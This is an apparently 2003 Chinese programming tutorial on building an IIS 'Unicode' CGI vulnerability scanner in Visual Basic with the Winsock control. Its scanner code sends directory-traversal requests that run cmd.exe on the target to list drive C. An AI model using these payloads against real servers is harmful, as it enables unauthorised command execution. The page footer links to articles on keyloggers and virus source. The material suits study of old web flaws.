网页功能: 加入收藏 设为首页 网站搜索  
Winsock控件编写CGI扫描程序
发表日期:2003-10-14作者:eastdark[] 出处:  

1.TCP (Transfer Control Protocol:传输控制协议)基础

  数据控制传输协议允许创建和维护与远程计算机的连接。连接两台计算机就可彼此进行数据传输。如果创建客户应用程序,就必须知道服务器计算机名或者 IP 地址(RemoteHost 属性),还要知道进行“侦听”的端口(RemotePort 属性),然后调用 Connect 方法。

  如果创建服务器应用程序,就应设置一个收听端口(LocalPort 属性)并调用 Listen 方法。当客户计算机需要连接时就会发生 ConnectionRequest 事件。为了完成连接,可调用 ConnectionRequest 事件内的 Accept 方法。

  建立连接后,任何一方计算机都可以收发数据。为了发送数据,可调用 SendData 方法。当接收数据时会发生 DataArrival 事件。调用 DataArrival 事件内的 GetData 方法就可获取数据。

2.Winsock控件描述

  要创建一个cgi漏洞扫描程序,我们就需要使用Winsock控件,下面列出了Winsock控件的介绍。请把它看完,因为这是我们下一个步骤的前提条件。

Winsock控件的基本属性、方法、事件

属性

方法

LocalHostName | 本地机器名

LocalIP | 本地机器IP地址

LocalPort | 本地机器通信程序的端口(0<端口<65536)

RemoteHost | 远程机器名

RemotePort | 远程机器的通信程序端口

state | 连接的当前状态

Protocal | 使用TCP或UDP协议

Listen

Listen方法用于服务器程序,等待客户访问。

格式:Winsock对象.listen

Connect

Connect方法用于向远程主机发出连接请求

格式:Winsock对象.connect [远程主机IP,远程端口]

Accept

Accept方法用于接受一个连接请求

格式:Winsock对象.accept Request ID

Senddata

此方法用于发送数据

格式:Winsock对象.senddata 数据

Getdata

用来取得接收到的数据

格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]

Close

关闭当前连接

格式:Winsock对象.close

事件

Close | 远程机器关闭连接时触发

Connect | 连接建立好,可以进行通信时触发(客户端)

ConnectRequest | 有请求连接到达时产生(服务器端)

DataArrival | 有数据到达时触发

Error | 发生错误时发生

SendProgress | 数据传送进度

 

Winsock的state属性

常数  值 描述

sckClosed 0   缺省值,关闭。

SckOpen 1  打开。

SckListening 2 侦听 

sckConnectionPending 3

连接挂起

sckResolvingHost 4

识别主机。 

sckHostResolved 5

已识别主机 

sckConnecting 6 

正在连接。

sckConnected 7 已连接。 

sckClosing 8 同级人员正在关闭连接。 

sckError  9    错误。

3.一个简单的实例

(1)新建工程,添加Winsock控件

(2)输入如下代码:

Private Sub Form_Load()

Msgbox str(Winsock1.LocalIP)   '显示本地IP

With Winsock1

.LocalPort = 32555 '定义本地端口,通过这一端口连接服务器

.RemoteHost = "127.0.0.1" '定义服务器的IP,也可以输入域名。

.RemotePort = 80 '要求连接的服务器端口,80为HTTP服务

.Connect '连接服务器

EndWith

End Sub

我们通过这一段很简单的代码,熟悉了一下Winsock连接服务器的过程。这个程序没有用到其他的属性和方法,旨在让你了解一下如何连接服务器。你可以试着用其它的属性和方法来使得他返回信息。

4.CGI漏洞扫描器工作原理

首先,我们用Winsock连接到远程的服务器的HTTP服务端口。接着发送GET 请求,这时,服务器将返回这个文件是否存在。如果不存在,那么在返回的信息里将包含"HTTP 404"的信息。说明不存在该漏洞。我们只需要通过判断DataArrival事件中得到的数据里有没有包含HTTP 404就可以了。在本程序中,我们将检查Unicode漏洞。我们可以通过下列请求来判断:

GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0

GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0

GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0

GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0

GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0

  

5.算法

一、单线程算法

  单线程算法即我们只创建一个Winsock控件,利用这一个Winsock控件完成扫描。这种方法速度较慢。但代码简单易懂。适合于入门。但单线程最大的弱点在于如何判断当前受到的是哪一个命令。利用单线程,很难得到确切的漏洞利用方法。但却能判断出对方是否存在漏洞。

二、多线程算法

  多线程算法即动态创建多个Winsock控件。这样可以大大加快扫描速度,并且如果定义相应的数组。比如,我们可以用Load Winsock(n)来动来创建一个Winsock控件。相应的有CGI(n)字符变量定义了一个HTTP请求,那么,在DataArrival事件中,我们就可以通过Index来判断当前正在扫描哪个漏洞。比如:

    DIM CGI() as String

CGI(1)="Get..."

...

CGI(20)=.....

    For I=1 to 20

    Load Winsock(I)

    Winsock(I).Remote....

    ....

     Winsock(I).Connect

  Next I

.....

    Private Sub Winsock1_DataArrival (ByVal bytesTotal As Long,Index as Integer)

    ...

    Msgbox "发现漏洞 请求:" & CGI(index)

    End Sub

这就是多线程扫描的一个例子。利用Load Winsock(I)创建了1~20个控件,对应了1~20个CGI请求。具体的例子可以看我编写的Eastscaner(端口扫描器)的源代码。里面就可以动态创建了Winsock控件。

6.代码分析

 

Private Sub Form_Load()

Dim CGI() as String

'定义CGI漏洞列表

CGI(1)="GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

CGI(2)="GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

CGI(3)="GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

CGI(4)="GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

CGI(5)="GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

  

'控件的名字为 Winsock1

With Winsock1

.RemoteHost= "127.0.0.1" '这里设置对方IP

.RemotePort = 80 '连接的端口号。

End With

For I=1 to 5

      IF winsock1.state=0 then Winsock1.Connect

      Do while Winsock1.State<>7 '判断有没有连接上

                  Doevents   '这是必需的,让当前进程转给其他程序

      Loop

      'Winsock已经连接到远程主机

      Winsock.senddata CGI(I) & VbCrLf '发送GET请求

Next I

End Sub

 

Private Sub Winsock1_DataArrival (ByVal bytesTotal As Long)

Dim strData As String

Winsock1.GetData strData  '得到字符

If instr(1,strData,"HTTP 404")=0 then Msgbox "发现Unicode漏洞" '判断是否有HTTP404

End Sub

7.小结

  通过实例,我们可以看到Winsock控件是如何利用的。你可以扩展本程序的功能。比如增加更多的CGI请求,增添个TEXT和COMMAND控件,这样可以在运行时自定义对方IP。总之,一定要自己动手。这也是学习编程的最好方法之一。由于水平有限,不足之处请多多指教!

我来说两句】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 Winsock控件编写CGI扫描程序
本类热点文章
  利用鼠标键盘钩子截获密码
  利用鼠标键盘钩子截获密码
  如何将多个文件捆绑成一个可执行文件
  如何将多个文件捆绑成一个可执行文件
  内核级HOOK的几种实现与应用
  内核级HOOK的几种实现与应用
  书写基于内核的linux键盘纪录器
  书写基于内核的linux键盘纪录器
  CIH病毒原码
  CIH病毒原码
  编写进程/线程监视器
  编写进程/线程监视器
最新分类信息我要发布 
最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放  
Copyright ©2003-2019 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00401